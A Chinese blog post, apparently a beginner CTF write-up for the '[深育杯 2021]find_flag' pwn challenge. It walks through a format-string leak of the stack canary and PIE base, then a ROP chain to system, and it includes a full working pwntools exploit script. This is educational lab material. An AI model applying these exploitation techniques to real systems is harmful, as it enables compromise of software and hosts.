新手必看——超详细:[深育杯 2021]find_flag

2 篇文章 0 订阅
1 篇文章 0 订阅

题目复现——[深育杯 2021]find_flag

pie与canary同时开启,并且有格式化字符串。

检查程序:

保护很全面。

在这里插入图片描述

可以看的出,在第一处有格式化字符串漏洞。

IDA分析:

在这里插入图片描述

看了一下mian函数,将函数重命名,pwn是我们有漏洞的地方。

在这里插入图片描述

可以看到gets函数可以进行栈溢出,但是有canary保护,所以我们需要泄露canary,可以利用格式化字符串去泄露canary并覆写在栈上。

在这里插入图片描述

发现backdoor。但是开了pie,我们应该无法利用后们,但是好在只读变量(const修饰的)和字符串变量放入rodata 区。还是可以利用的。

gdb分析:

打断点在printf处(不知到为什么不能在main函数处大不了断点,很奇怪

在这里插入图片描述

一直步到下图处

在这里插入图片描述

看栈信息,很明显能看到canary——>

0b:0058│ 0x7fffffffdd18 ◂— 0x121203e586d31600

在这里插入图片描述

看一下距格式化字符串的偏移。

在这里插入图片描述

但是难点不是在泄露canary,而是在泄露基址上去,需要了解pie和栈,可以看到,在rbp下面刚好有一个我们能泄露函数基址,但是为什么是他呢?

考虑因为这个地址代表了我们的main函数结尾的一个部分的地址,我们可以通过这个地址进而计算出栈的基址。

在这里插入图片描述

接下来就是确定偏移了(须注意的一点就是需要在gets函数输入后,在查看栈的情况,这样更好确定。

在这里插入图片描述

exp构造环节:

既然我们找到了,我们就构造payload1 去泄露canary和基址

paylaod1 = b'%17$p---%19$p'

在构造rop链的准备。

Base = base - 0x146F

system = Base + elf.sym['system']
catflag = Base + 0x2004 # robata中的字符串
#ROPgadget --binary file --only 'pop|ret'
rdi = Base + 0x14E3
ret = Base + 0x101A

exp:

from pwn import *
context.log_level = 'debug'

local = 1
if local:
	p = process('ff')
else:
	p = remote('node4.anna.nssctf.cn',28068)

elf = ELF('./ff')

context.log_level = 'debug'
context(arch='amd64',os='linux')

p.recvuntil(b'name? ')
payload1 = b'%17$p---%19$p'
p.sendline(payload1)
p.recvuntil(b'you, ')

canary = int(p.recv(18), 16)
print(hex(canary))

p.recvuntil(b'---')
base = int(p.recv(14), 16)
print(hex(base))

Base = base - 0x146F

system = Base + elf.sym['system']
catflag = Base + 0x2004
#ropgadget
rdi = Base + 0x14E3
ret = Base + 0x101A

payload = b'a'*0x38 + p64(canary) + b'a'*8 + p64(ret) + p64(rdi) + p64(catflag) + p64(system)
p.recvuntil(b'else? ')
p.sendline(payload)
p.recv()
p.interactive()

结果:

在这里插入图片描述

  • 4
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Y_huanhuan

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值